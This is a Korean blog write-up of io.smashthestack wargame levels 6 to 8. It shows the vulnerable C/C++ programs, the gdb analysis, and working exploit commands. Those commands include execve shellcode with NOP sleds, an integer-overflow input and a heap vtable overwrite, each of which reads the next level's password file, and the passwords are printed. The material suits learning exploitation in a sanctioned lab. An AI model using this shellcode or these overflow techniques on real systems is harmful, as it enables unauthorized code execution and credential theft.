systemhacking/practice

io.smash the stack 6~8

qkqhxla1 2015. 2. 21. 18:36

level 06

level6@io:/levels$ cat level06.c

//written by bla

//inspired by nnp

#include <stdio.h>

#include <stdlib.h>

#include <string.h>


enum{

LANG_ENGLISH,

LANG_FRANCAIS,

LANG_DEUTSCH,

};


int language = LANG_ENGLISH;


struct UserRecord{

        char name[40];

        char password[32];

        int id;

};


void greetuser(struct UserRecord user){

        char greeting[64];

        switch(language){

                case LANG_ENGLISH:

                        strcpy(greeting, "Hi "); break;

                case LANG_FRANCAIS:

                        strcpy(greeting, "Bienvenue "); break;

                case LANG_DEUTSCH:

                        strcpy(greeting, "Willkommen "); break;

        }

        strcat(greeting, user.name);

        printf("%s\n", greeting);

}


int main(int argc, char **argv, char **env){

        if(argc != 3) {

                printf("USAGE: %s [name] [password]\n", argv[0]);

                return 1;

        }


        struct UserRecord user = {0};

        strncpy(user.name, argv[1], sizeof(user.name));

        strncpy(user.password, argv[2], sizeof(user.password));


        char *envlang = getenv("LANG");

        if(envlang)

                if(!memcmp(envlang, "fr", 2))

                        language = LANG_FRANCAIS;

                else if(!memcmp(envlang, "de", 2))

                        language = LANG_DEUTSCH;


        greetuser(user);

}


이름과 비밀번호를 argv로 받는다. 이름 에 할당된 공간이 40글자, 비밀번호에 할당된 공간이 32글자인데

40글자,32글자를 채워서 보내 보면 세그먼테이션 폴트 에러가 뜬다.

level6@io:/levels$ ./level06 `python -c 'print "a"*40+" "+"a"*32'`

Bienvenue aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Segmentation fault


gdb로 봐보았다.

(gdb) r `python -c 'print "a"*40+" "+"a"*32'`

Starting program: /levels/level06 `python -c 'print "a"*40+" "+"a"*32'`

Bienvenue aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


Program received signal SIGSEGV, Segmentation fault.

0x61616161 in ?? ()

결과로 보아 앞의 40개인지 뒤에 32개인지는 모르겠지만 해당 주소로 ret이 변조된다. 


b,c로 변경 후 해본 결과 뒷부분에서 에러가 나는 것 같다. c갯수를 줄이고 ffff를 넣어보면서 버퍼 크기를 짐작한 결과 

r `python -c 'print "b"*40+" "+"c"*26+"ffff"'`

처럼 실행했을때 ret가 ffff로 변경된다. 환경변수로 앞문제와 동일한 쉘을 등록시키고

export sh=`python -c 'print "\x90"*1000+"\x90"*1000+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


쉘의 주소값을 구해서 그 주소값으로 변조시켰더니 성공했다.

sh-4.2$ cat /home/level7/.pass

Nsr869Iyc0sFCX7I



level 07

level7@io:/levels$ cat level07.c

//written by bla

#include <stdio.h>

#include <string.h>

#include <unistd.h>


int main(int argc, char **argv)

{


        int count = atoi(argv[1]);

        int buf[10];


        if(count >= 10 )

                return 1;


        memcpy(buf, argv[2], count * sizeof(int));


        if(count == 0x574f4c46) {

                printf("WIN!\n");

                execl("/bin/sh", "sh" ,NULL);

        } else

                printf("Not today son\n");

        return 0;

}

이다. count *sizeof(int) 크기만큼 내가 입력한 값을 복사하는데, count가 10이상이면 그냥 리턴해버린다. 버퍼 오버플로우를 발생시키려면 큰 값을 복사하도록 해야하므로 오버플로우를 이용해보자.

level7@io:/tmp/7$ cat /tmp/7/test.c

#include <stdio.h>

int main(int argc, char *argv[]){

            printf("%d\n",atoi(argv[1])*sizeof(int));

}

이렇게 만들어서 음수를 넣다보면 

level7@io:/levels$ /tmp/7/test -2147483600

192

일때 192개를 복사하게 되므로 적당히 오버플로우시키기에 충분하다. 192개를 복사하게 해놓고 마구잡이로 300개쯤 넣으면 성공.

level7@io:/levels$ ./level07 -2147483600 `python -c 'print "\x46\x4c\x4f\x57"*300'`

WIN!

sh-4.2$ cat /home/level8/.pass

31L5mKO0ZwTrLeFe



level 08:

#include <iostream>

#include <cstring>

#include <unistd.h>


class Number

{

        public:

                Number(int x) : number(x) {}

                void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}

                virtual int operator+(Number &r) {return number + r.number;}

        private:

                char annotation[100];

                int number;

};



int main(int argc, char **argv)

{

        if(argc < 2) _exit(1);


        Number *x = new Number(5);

        Number *y = new Number(6);

        Number &five = *x, &six = *y;


        five.setAnnotation(argv[1]);


        return six + five;

}

소스코드를 보면 memcpy에서 오버플로우가 일어난다는걸 알 수 있다. memcpy는 argv[1]을 대상으로 오버플로우시킨다. 일단 ./level08 `python -c 'print "\x90"*110'` 이런식으로 입력해보면 세그먼테이션 폴트 에러가 뜨는데, gdb로 들어가서 nop을 110개를 넣고 실행해봐도 리턴주소가 \x90으로 변조되는게 아니라 그냥 세그먼테이션 폴트가 뜬다. 0x08048726 in main () 으로 0x08048726의 주소에서 에러가 뜨길래 거기다가 브레이크포인트를 설치하고 108개를 인자를 넣고 진행해보았다. (109개부터 세그먼테이션 폴트 에러가 뜬다.) 


위의 브레이크포인트에서 살펴봐도 \x90으로 변조된건 안보인다. 0x08048726에서의 esp인 0x0804a008

를 확인해보면.

(gdb) x/40x 0x0804a008

0x804a008:      0x080488c8      0x90909090      0x90909090      0x90909090

0x804a018:      0x90909090      0x90909090      0x90909090      0x90909090

0x804a028:      0x90909090      0x90909090      0x90909090      0x90909090

0x804a038:      0x90909090      0x90909090      0x90909090      0x90909090

0x804a048:      0x90909090      0x90909090      0x90909090      0x90909090

0x804a058:      0x90909090      0x90909090      0x90909090      0x90909090

0x804a068:      0x90909090      0x90909090      0x90909090      0x90909090

0x804a078:      0x080488c8      0x00000000      0x00000000      0x00000000

이렇게 나오는데 딱봐도 진한 부분이 리턴주소이다. 그러면 그냥 페이로드를 \x804a010+쉘코드25자+아무거나79개+0x0804a00c로 변조해주면 리턴주소가 쉘코드의 시작주소(위의 진한부분)로 변경되어 쉘이 나올것이다.

level8@io:/levels$ ./level08 `python -c 'print "\x10\xa0\x04\x08"+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*79+"\x0c\xa0\x04\x08"'`

sh-4.2$ cat /home/level9/.pass

jmtviodMhpfxOfmG



level09 : 


'systemhacking > practice' 카테고리의 다른 글

fedoracore 3 evil_wizard->dark_stone  (0) 2015.02.26
fedoracore 3 hell_fire->evil_wizard  (0) 2015.02.25
fedoracore 3 dark_eyes->hell_fire  (0) 2015.02.20
fedoracore 3 iron_golem->dark_eyes  (0) 2015.02.17
fedoracore 3 gate->iron_golem  (0) 2015.02.15